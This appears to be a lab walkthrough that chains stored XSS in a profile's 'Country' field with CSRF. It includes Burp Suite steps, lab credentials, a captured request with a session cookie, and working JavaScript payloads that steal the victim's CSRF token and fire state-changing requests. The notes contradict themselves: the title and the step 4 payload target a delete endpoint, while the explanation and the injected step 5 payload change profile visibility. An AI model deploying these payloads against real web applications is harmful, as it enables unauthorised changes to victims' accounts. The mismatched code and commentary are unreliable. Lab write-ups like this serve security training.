ADDING A FUNCTION TO THE PROFILE PAGE

this version adapts the XSS & CSRF chaining from "Making Profile Public". it adds a delete function to the profile page of the user through CSRF

#step 1: determine whether the application is vulnerable to csrf

#step 2: identify other parts of the webapp to determine whether it's vulnerable to xss
#perform automated discovery
root@oco:~$ sudo nano /etc/hosts
 10.129.179.203 minilab.htb.net
 
root@oco:~$ burpsuite &
BURP > Proxy > Intercept > Open Browser
BURP > BROWSER > {targetSite:port}
 Email: crazygorilla983
 Password: pisces
 
 * forward all requests to get to the profile page
 
BURP > BROWSER > {targetSite:port}/app
 email: {arbitraryValue}
 phone: {arbitraryValue}
 country: usa
 
 * make changes to the field to determine which one is vulnerable to xss
 
 Requests
 ...
 POST /app/save/ela.stienen@example.com HTTP/1.1
 Host: minilab.htb.net
 Content-Length: 72
 Cache-Control: max-age=0
 Accept-Language: en-US,en;q=0.9
 Origin: http://minilab.htb.net
 Content-Type: application/x-www-form-urlencoded
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 Referer: http://minilab.htb.net/app/
 Accept-Encoding: gzip, deflate, br
 Cookie: auth-session=s%3ARXDRi7lypqv-HUR_PwzBHH19Htuxv3Ng.UlGIXWYWWuBZwxZCgLnmeS6a8TcnLbTsxjq3Oew3lIU
 Connection: keep-alive

 email=ela.stienen%40example.com&telephone=%28402%29-455-9682&country=USA
 
 * stored XSS vulnerability identified on the application's "Country" field
    - leverage the stored XSS vulnerability to issue a state-changing request against 
      the web application. 
       - A request through XSS will bypass any same origin/same site protection since 
         it will derive from the same domain!
 
#step 3: develop the appropriate JavaScript payload to place within the Country field of the user's profile
#targeting Change Visibility can cause the disclosure of a private profile.
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}/user'sProfilePage > "Make Public"
 
 * Forward all requests so that the user's profile becomes public

#step 4: develop the payload
root@oco:~$ nano csrfPayload.txt
 <script>
  var req = new XMLHttpRequest();
  req.onload = handleResponse;
  req.open('get','/app/delete/mhmdth.rdyy@example.com',true);
  req.send();
  function handleResponse(d) {
    var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/app/delete', true);
    changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    changeReq.send('csrf='+token);
  };
 </script>

 * this payload will successfully execute a CSRF attack that will change the 
   victim's visibility settings (from private to public and vice versa).
   
   # this code snippet creates an ObjectVariable called req, which is used to generate a request. the var req = new XMLHttpRequest(); is the one that will be sending the HTTP requests.
    - var req = new XMLHttpRequest();
      req.onload = handleResponse;                        // the onload event handler, performs an action once the page has been loaded
      req.open('get','/app/change-visibility',true);      // three arguments are passed. get is the request method, /app/change-visibility is the target path and the "true" argument will continue the execution.
      req.send();                                         // this will send everything constructed in the HTTP request
      
   # this code snippet defines the function that handles the response
    - function handleResponse(d) {
       // this defines a variable called token, which gets the value of responseText from the page
       // this looks for a hidden input field called csrf and \w+ matches one or more alphanumeric characters
       // the "csrf" name may be different on other targets
       var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1];
       
       // this constructs the HTTP request that will be sent through a XMLHttpRequest object
       var changeReq = new XMLHttpRequest();
       
       // this changes the method from GET to POST. The first request was to move us to the targeted page and the second request was to perform the wanted action.
       changeReq.open('post', '/app/change-visibility', true);
       
       // this sets the Content-Type to application/x-www-form-urlencoded
       changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
       
       // this sends the request with one param called csrf having the value of the token variable, which is essentially the victim's CSRF token, and another parameter called action with the value change. 
       // These are the two parameters that were noticed while inspecting the targeted request through Burp.
       changeReq.send('csrf='+token+'&action=change');
      };

       - procedure for identifying the name of a hidden value if it is not actually "CSRF".
       BROWSER > {targetSite:port} > F12 > Inspector Tab
        Search: csrf
        
        <input name="csrf" type="hidden" value="b984436d...">
        
        *  NOTE: If no result is returned and you are certain that CSRF tokens are in place, look through various bits of the source code or copy your current CSRF token and look for it through the search functionality. This way, you may uncover the input field name you are looking for. If you still get no results, this doesn't mean that the application employs no anti-CSRF protections. There could be another form that is protected by an anti-CSRF protection.
 
 root@oco:~$ BROWSER > https://codebeautify.org/multiline-to-single-line
  * this will beautify the JavaScript code into one-liner
 
 #step 5: exploit the xss vulnerability on the "Country" field using the payload
 root@oco:~$ BROWSER > {targetSite:port}/user'sProfilePage
  Country: <script>var req = new XMLHttpRequest();req.onload = handleResponse;req.open('get','/app/change-visibility',true);req.send();function handleResponse(d) {    var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1];    var changeReq = new XMLHttpRequest();    changeReq.open('post', '/app/change-visibility', true);    changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');    changeReq.send('csrf='+token+'&action=change');};</script>
  
  * submit the payload by clicking save
  
 
#step 6: expected target trigger
#target log's in to their profile
root@target:~$ BROWSER > New Private Windows > http://minilab.htb.net 
 Email: goldenpeacock467
 Password: topcat
 
 * this is a user that has its profile "private." No "Share" functionality exists
 
#target view's another user's profile
root@target:~$ BROWSER > http://minilab.htb.net/profile?email=ela.stienen@example.com

 * when the main target views another user's profile, they'll trigger the CSRF exploit
 
#
root@target:~$ BROWSER > {targetSite:port}/mainTarget'sUserProfile

 * when the main target goes back to their usual profile page and refresh/reload the page, they will see that their profile became "public" (notice the "Share" button that appeared).

Last updated